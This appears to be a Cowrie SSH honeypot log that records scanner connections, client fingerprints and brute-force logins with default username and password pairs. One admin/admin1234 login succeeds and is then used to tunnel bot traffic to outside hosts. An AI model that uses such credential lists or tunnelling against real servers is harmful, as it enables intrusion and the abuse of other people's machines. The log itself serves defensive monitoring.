{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:32.416982Z","src_ip":"91.92.40.36","session":"661483eac57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"password","message":"login attempt [claude/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:32.981054Z","src_ip":"91.92.40.36","session":"661483eac57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.9","message":"Connection lost after 16.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:33.524297Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":44808,"dst_ip":"159.203.135.109","dst_port":22,"session":"857f8c508761","protocol":"ssh","message":"New connection: 97.74.87.152:44808 (159.203.135.109:22) [session: 857f8c508761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:34.095109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:34.099381Z","src_ip":"97.74.87.152","session":"857f8c508761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:34.333727Z","src_ip":"97.74.87.152","session":"857f8c508761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:34.367557Z","src_ip":"91.92.40.36","session":"661483eac57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"password","message":"login attempt [www-data/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:35.310395Z","src_ip":"97.74.87.152","session":"857f8c508761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:36.548074Z","src_ip":"97.74.87.152","session":"857f8c508761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57490,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb5223fe9c43","protocol":"ssh","message":"New connection: 91.92.40.36:57490 (10.17.0.5:22) [session: eb5223fe9c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:39.712105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:39.898968Z","src_ip":"91.92.40.36","session":"eb5223fe9c43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:39.902525Z","src_ip":"91.92.40.36","session":"eb5223fe9c43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spark","password":"spark","message":"login attempt [spark/spark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:40.585037Z","src_ip":"91.92.40.36","session":"eb5223fe9c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:41.882724Z","src_ip":"91.92.40.36","session":"eb5223fe9c43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":65095,"dst_ip":"10.17.0.5","dst_port":22,"session":"a89abb6a6a91","protocol":"ssh","message":"New connection: 123.27.168.40:65095 (10.17.0.5:22) [session: a89abb6a6a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:44.399648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:44.405858Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:44.667572Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:45.785577Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:46.300082Z","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:46.492976Z","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:46.888747Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aFN5Z0thTG9ua0YvREtkWQ%3D%3DOrLYZ4g0PxWzb29VoxtCpGuXM5Ufa1IQAyLjYHMAKB3GlJjmmhn4cbCcgsdA5dCW42rqv%2BXx7XRNSSm%2B0XrTaixEGgv7Ho7ak90ZAzB0bldIdeYc4JvcMuBTfFgr1fquuM6vqf%2FR5O%2FgzUz3%2FmM9RL640HdB7%2FMkBJYhEN5Ln%2F6cBStXP6uZx5ngZ1X%2FY8p4WtMWHQCDlMx5CJWN1BTHYCddY7%2Fhblf6wxFAIgrHjKaweNJfUWncU464EvLmj7V3mGhxyClHohe%2B6HXVKYjWLBILjURNyrXWoyRyHanqZrYeFTdMZuw3j4RBkUgwcIa8fClZOC492TAGNvLDGITVGGnN8GhT5UyEHIabFdDH6XJOwrqWHEbdKty%2Blc3D9wfwHO63Qc%2FDl8kRw6penaXPRPMc0alYSnW5KMK3lbiouTY6jZcx33kgQPoVDUe6CekOppk2V0bwdkqaBwqVFlILjQpEvVDt8JZExjZl57pq1iUeYmlwcGMaNF3XEduulxIwpHeSz1dgxTTSC3bi8fVTeTNmeE6bpAePsbBvrE%2F47cQsCtJli%2FBkzVvn9Jyxav%2FjswkWy9bvje09UEmTXQEM40R95hVo6H1Py3q3vvjI56AKyHzElyqabcYUlNFr4EO%2FRwFcxrnDEotgqjvBr%2FifwjobOIrOv3FORLIURs899oZlXDO4PiNJxdVKO5woW9dceeHgXGwlJGF1UXN54ZR5USE1iupu1i810ifOrsRuhayLPTOA0v06uGSa1T5ho35e6dD4tH1m4lk9FxhO5tRqXejNjLol5dY3nyUWsjeibthrjJdJWGbWKDWvEdSmBVbosz8evlCHuOmVaR24dbCb8hTVz%2BJ0YI1hZ3Ha2dacaPdNPa5%2B39j2XB3D3hHqyR9ZZo86oKqKlQtBpvfE7eClo8K0FU0PNJDl6fRLVhlbed25Jt2Dax6%2BUuMmfHfEviiSXaTPND5opX%2Bxk8ZQkoTj15dataZfhex%2BMx%2ByX2%2B%2F4RgpbD7JTr6RipQ72YQiADQevtCqkJm%2FnxLaFLOpe4N2oJGYps%2Fa3fS9nj64cnkzT3NUDOCf7n%2BuJZpZhUnMc9dm'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aFN5Z0thTG9ua0YvREtkWQ%3D%3DOrLYZ4g0PxWzb29VoxtCpGuXM5Ufa1IQAyLjYHMAKB3GlJjmmhn4cbCcgsdA5dCW42rqv%2BXx7XRNSSm%2B0XrTaixEGgv7Ho7ak90ZAzB0bldIdeYc4JvcMuBTfFgr1fquuM6vqf%2FR5O%2FgzUz3%2FmM9RL640HdB7%2FMkBJYhEN5Ln%2F6cBStXP6uZx5ngZ1X%2FY8p4WtMWHQCDlMx5CJWN1BTHYCddY7%2Fhblf6wxFAIgrHjKaweNJfUWncU464EvLmj7V3mGhxyClHohe%2B6HXVKYjWLBILjURNyrXWoyRyHanqZrYeFTdMZuw3j4RBkUgwcIa8fClZOC492TAGNvLDGITVGGnN8GhT5UyEHIabFdDH6XJOwrqWHEbdKty%2Blc3D9wfwHO63Qc%2FDl8kRw6penaXPRPMc0alYSnW5KMK3lbiouTY6jZcx33kgQPoVDUe6CekOppk2V0bwdkqaBwqVFlILjQpEvVDt8JZExjZl57pq1iUeYmlwcGMaNF3XEduulxIwpHeSz1dgxTTSC3bi8fVTeTNmeE6bpAePsbBvrE%2F47cQsCtJli%2FBkzVvn9Jyxav%2FjswkWy9bvje09UEmTXQEM40R95hVo6H1Py3q3vvjI56AKyHzElyqabcYUlNFr4EO%2FRwFcxrnDEotgqjvBr%2FifwjobOIrOv3FORLIURs899oZlXDO4PiNJxdVKO5woW9dceeHgXGwlJGF1UXN54ZR5USE1iupu1i810ifOrsRuhayLPTOA0v06uGSa1T5ho35e6dD4tH1m4lk9FxhO5tRqXejNjLol5dY3nyUWsjeibthrjJdJWGbWKDWvEdSmBVbosz8evlCHuOmVaR24dbCb8hTVz%2BJ0YI1hZ3Ha2dacaPdNPa5%2B39j2XB3D3hHqyR9ZZo86oKqKlQtBpvfE7eClo8K0FU0PNJDl6fRLVhlbed25Jt2Dax6%2BUuMmfHfEviiSXaTPND5opX%2Bxk8ZQkoTj15dataZfhex%2BMx%2ByX2%2B%2F4RgpbD7JTr6RipQ72YQiADQevtCqkJm%2FnxLaFLOpe4N2oJGYps%2Fa3fS9nj64cnkzT3NUDOCf7n%2BuJZpZhUnMc9dm'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:46.892024Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:46.895253Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\x1e]i\\xd1\\xe5\\xe2\\x98TW?g-\\xc3e\\xef\\xf7\\xe4\\xec\\xcc\\x1ch\\xf1\\x98Q\\xc1\\tOt\\xe8\\x98I d<hQ\\xe9\\xf7\\xbb\\xe9\\xafW\\xa7W<D}\\xbe\\xb9`\\xa0\\xba,\\xbb=5\\xec\\xb6\\xbd-\\xf5Wbi\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\\\x82w\\xc4\\x97\\x8fe\\xa7\\x07{^\\x91\\xf0\\x97\\x81\\\\\\xa1\\x8dV\\x13}\\xf8\\xe1A\\x96C\\xe5\\xbb\\x81s=C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\x1e]i\\xd1\\xe5\\xe2\\x98TW?g-\\xc3e\\xef\\xf7\\xe4\\xec\\xcc\\x1ch\\xf1\\x98Q\\xc1\\tOt\\xe8\\x98I d<hQ\\xe9\\xf7\\xbb\\xe9\\xafW\\xa7W<D}\\xbe\\xb9`\\xa0\\xba,\\xbb=5\\xec\\xb6\\xbd-\\xf5Wbi\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\\\x82w\\xc4\\x97\\x8fe\\xa7\\x07{^\\x91\\xf0\\x97\\x81\\\\\\xa1\\x8dV\\x13}\\xf8\\xe1A\\x96C\\xe5\\xbb\\x81s=C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:46.897869Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:47.158081Z","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:47.416727Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
